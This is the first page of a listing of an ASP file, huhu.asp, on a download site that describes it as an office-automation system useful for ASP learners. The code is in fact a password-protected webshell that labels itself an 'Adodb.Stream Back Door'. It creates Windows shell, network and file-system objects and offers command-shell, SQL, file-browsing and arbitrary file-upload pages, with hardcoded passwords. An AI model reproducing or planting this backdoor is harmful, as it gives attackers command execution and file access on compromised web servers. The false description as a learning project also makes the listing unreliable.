⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 huhu.asp

📁 我的一个oa用asp编写的系统可能对那些学习asp的人员有用。
💻 ASP
📖 第 1 页 / 共 5 页
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
	option explicit

	dim url,shellStr,applicationStr,pageName,startTime

	shellStr="Shell"
	applicationStr="Application"

	startTime=timer()
	session.timeout=40
	pageName=request("pageName")
	url=request.serverVariables("url")

	const m="xxxxx"
	const mVersion="2005"
	const userPassword="19850105" 
	const adminPassword="19850105" 
	const clientPassword="#" 
	const sqlMaxLoopI=100
	const notdownloadsExists=false
	const myCmdDotExeFile="command.exe" '多加上 /c 
	const editableFileExt="$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$bat$lst$aspx$php3$php4$js$css$bat$asa$"
	

	
	sub echo(str)
		response.write(str)
	end sub
	
	sub onErr(str)
		response.write("出错信息: "&str&"")
		response.end()
	end sub
	
	sub isIn(flag)
		if flag=1 then
			if session(m&"userPassword")<>userPassword then
				echo "<script language=""javascript"">alert('再登陆一下啦');location.href='?pageName=default';</script>"
				response.end
			end if
		 else
		 	isIn(1)
			if session(m&"adminPassword")<>adminPassword then
				echo "<script language=""javascript"">if(confirm('再登陆一下啦')){location.href='?pageName=login';}else{history.back();}</script>"
				response.end
			end if
		end if
	end sub
	
	function getTheSize(str)
		dim theSize
		theSize=str
		if theSize>=(1024*1024*1024) then getTheSize=fix((theSize/(1024*1024*1024))*10)/10&"G"
		if theSize>=(1024*1024) and theSize<(1024*1024*1024) then getTheSize=fix((theSize/(1024*1024))*10)/10&"M"
		if theSize>=1024 and theSize<(1024*1024) then getTheSize=fix((theSize/1024)*10)/10&"K"
		if theSize>=0 and theSize <1024 then getTheSize=theSize&"B"
	end function
	
	function getStrLen(str)
		dim i
		getStrLen=0
		for i=1 to len(str)
			if asc(mid(str,i,1))>0 and asc(mid(str,i,1))<256 then
				getStrLen=getStrLen+1
			 else
				getStrLen=getStrLen+2
			end if
		next
	end function
	
	function getCutStr(str,n)
		dim i,j
		if n>len(str) then
			n=len(str)
		end if
		for i=1 to n
			if asc(mid(str,i,1))<=0 or asc(mid(str,i,1))>=256 then
				j=j+1
			end if
		next
		getCutStr=left(str,n-j)
	end function
	
	sub redirectTo(url)
		response.redirect(url)
	end sub
	
	sub showTitle(str)
'		response.write("<meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"">"&vbNewLine)
		response.write("<title>"&str&" - 蝴蝶版 - </title>")
	end sub
	
	sub showExecuteTime()
		response.write("<br><center>"&((timer-startTime)*1000)&" ms</center>")
	end sub
	
	function getParentFolder(thePath)
		dim path
		path=thePath
		if right(path,1)="\" then
			path=left(path,len(path)-1)
		end if

		if instr(path,"\")>0 then
			getParentFolder=left(path,instrRev(path,"\"))
		 else
			getParentFolder=""
		end if
	end function
	
	sub chkErr(err,message)
		if err then
			err.clear
			response.write "<script language=""javascript"">alert('"&message&"');</script>"
			response.end
		end if
	end sub
	
	function encodeForUrl(str,flag)
		if flag=true then
			encodeForUrl=replace(str,"\","\\")
			encodeForUrl=replace(encodeForUrl,"'","\'")
		 else
			encodeForUrl=server.urlEncode(str)
		 	encodeForUrl=replace(encodeForUrl,"%5C","\")
		end if
	end function
	
	function fixNull(str)
		if isNull(str) then
			fixNull=""
		 else
			fixNull=str
		end if
	end function
	
	sub streamUpload(thePath,fileName)
		dim i,j,info,stream,streamT,theFile,overWrite,fileContent
		theFile=request("theFile")
		overWrite=request("overWrite")
		if instr(fileName,":") then
			fileName=fileName
		 else
			fileName=thePath&"\"&fileName
		end if
		server.scriptTimeOut=5000
		set stream=server.createObject("adodb.stream")
		set streamT=server.createObject("adodb.stream")
		
		with stream
			.type=1
			.mode=3
			.open
			.write request.binaryRead(request.totalBytes)
			.position=0
			fileContent=.read()
			i=instrB(fileContent,chrB(13)&chrB(10))
			info=leftB(fileContent,i-1)
			i=len(info)+2
			i=instrB(i,fileContent,chrB(13)&chrB(10)&chrB(13)&chrB(10))+4-1
			j=instrB(i,fileContent,info)-1
			streamT.Type=1
			streamT.Mode=3
			streamT.Open
			stream.position=i
			.copyTo streamT,j-i-2

			on error resume next
			if overWrite="true" then
				streamT.saveToFile fileName,2
			 else
				streamT.saveToFile fileName
			end if

			if err.number=3004 then
				err.clear
				fileName=fileName&"\"&split(theFile,"\")(uBound(split(theFile,"\")))
				if overWrite="true" then
					streamT.saveToFile fileName,2
				 else
					streamT.saveToFile fileName
				end if
			end if
			
			chkErr err,err.description&"\n可能同名文件已经存在.');history.back('"
			echo "<script language=""javascript"">alert('文件上传成功!\n"&replace(fileName,"\","\\")&"');</script>"

			streamT.close
			.close
		end with

		set stream=nothing
		set streamT=nothing
	end sub	

	
	
	if pageName<>"stream" then
		pageOther()
		showMenu()
	end if
	
	select case pageName
		case "","default"
			pageDefault()
		case "server"
			pageServer()
		case "stream"
			pageStream()
		case "sql"
			pageSql()
		case "fso"
			pageFso()
		case "upload"
			pageUpload()
		case "cmdShell"
			pageCmdShell()
		case "login"
			pageLogin()
		case "app"
			pageApp()
	end select



	sub pageDefault()
		dim theAct,password
		theAct=request("theAct")
		password=request("password")
		if theAct="chkLogin" then
			if password=userPassword then
				session(m&"userPassword")=userPassword
				redirectTo(url&"?pageName=server")
			 else
				redirectTo(url&"?pageName=default")
			end if
		end if
		
		showTitle("管理登录")
		echo "<body onload=""formx.password.focus();"">"
%>
<table width="416" border="0" align="center" cellpadding="0" cellspacing="0">
<form name="formx" method="post" action="?pageName=default&theAct=chkLogin" onSubmit="return default_canLogin(this);">
  <tr> 
    <td height="25" align="center" class="td">管理登录</td>
  </tr>
  <tr> 
    <td class="trHead">&nbsp;</td>
  </tr>
  <tr> 
    <td height="75" align="center">
		<input name="password" type="password" class="inputLogin" id="password" style="background-color:#ffffff;">
		<input type="submit" name="Submit" value="LOGIN" class="inputLogin">
	</td>
  </tr>
  <tr> 
      <td height="25" align="center" class="td">蝴蝶修改版</td>
  </tr>
</form>
</table>
<%
		echo "</body>"
		showExecuteTime()
	end sub

	sub pageLogin()
		dim theAct,password
		isIn(1)
		theAct=request("theAct")
		password=request("password")
		if theAct="chkLogin" then
			if password=adminPassword then
				session(m&"adminPassword")=adminPassword
				redirectTo(url&"?pageName=stream")
			 else
				redirectTo(url&"?pageName=login")
			end if
		end if
				
		showTitle("管理登录")
		echo "<body onload=""formx.password.focus();"">"
%>
<table width="416" border="0" align="center" cellpadding="0" cellspacing="0">
<form name="formx" method="post" action="?pageName=login&theAct=chkLogin" onSubmit="return default_canLogin(this);">
  <tr> 
      <td height="25" align="center" class="td">管理密码验证</td>
  </tr>
  <tr> 
    <td class="trHead">&nbsp;</td>
  </tr>
  <tr> 
    <td height="75" align="center">
		<input name="password" type="password" class="inputLogin" id="password" style="background-color:#ffffff;">
		<input type="submit" name="Submit" value="LOGIN" class="inputLogin">
	</td>
  </tr>
  <tr> 
      <td height="25" align="center" class="td">蝴蝶交流群7793017</td>
  </tr>
</form>
</table>
<%
		echo "</body>"
		showExecuteTime()
	end sub

	sub pageStream()
		isIn(2)
		dim theAct,thePath,toPath,fileName
		theAct=request("theAct")
		toPath=request("toPath")
		thePath=request("thePath")
		fileName=request("fileName")
		
		if thePath="" then
			thePath=server.mapPath(".")
		end if
	
		select case theAct
			case "save"
				streamEditFile(thePath)
				response.end
			case "down"
				downTheFile(thePath)
				response.end
			case "saveAsTwo"
				saveAsTwo thePath,toPath
				response.end
		end select

		showTitle("流操作页面")
		pageOther()
		showMenu()
		
		select case theAct
			case "edit"
				streamEditFile(thePath)
				response.end
			case "upload"
				streamUpload thePath,fileName
				echo "<script language=""javascript"">location.href='?pageName=stream&thePath="&encodeForUrl(thePath,true)&"';</script>"
				response.end
		end select
%>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td height="22" colspan="2" class="td">&nbsp;<%=request.serverVariables("server_name")%> 
      - Adodb.Stream Back Door</td>
  </tr>
  <tr> 
    <td colspan="2" class="trHead">&nbsp;</td>
  </tr>
  <form method="post" onSubmit="this.Submit3.disabled=true;" action="?pageName=stream">
    <tr> 
      <td colspan="2" class="td">&nbsp;PATH: 
        <input name="thePath" type="text" id="thePath" value="<%=thePath%>" size="60"> 
        <input type="button" name="Submit3" value="查 看" onclick="location.href='?pageName=stream&thePath='+this.form.thePath.value;this.disabled=true;">
      </td>
    </tr>
  </form>
  <form method="post" enctype="multipart/form-data" action="?pageName=stream&theAct=upload&thePath=<%=encodeForUrl(thePath,false)%>" onsubmit="return upload_canSubmit(this);">
    <tr> 
      <td colspan="2" class="td">&nbsp;
        <input name="file" type="file" size="25">
        保存为 
        <input name="fileName" type="text" value="<%=thePath%>" size="35"> 
		<input name="Submit" type="submit" id="Submit" value="上 传" onClick="this.form.action+='&theFile='+this.form.file.value+'&overWrite='+this.form.writeMode.checked;">
        <input type="checkbox" name="writeMode" value="True">覆盖模式
      </td>
    </tr>
  </form>
  <tr> 
    <td colspan="2" class="trHead">&nbsp;</td>
  </tr>
  <tr> 
    <td width="30%" class="td" valign="top">
      <%call streamGetFolderList(thePath,true)%>
    </td>
    <td width="555" valign="top"> 
      <%call streamGetFolderList(thePath,false)%>
      <br> <div id="loaded" style="display:none;"> 
        <iframe id="fileEditor" frameborder="0" scrolling="no" valign="top" width="100%" height="475"></iframe>
      </div></td>
  </tr>
  <tr> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -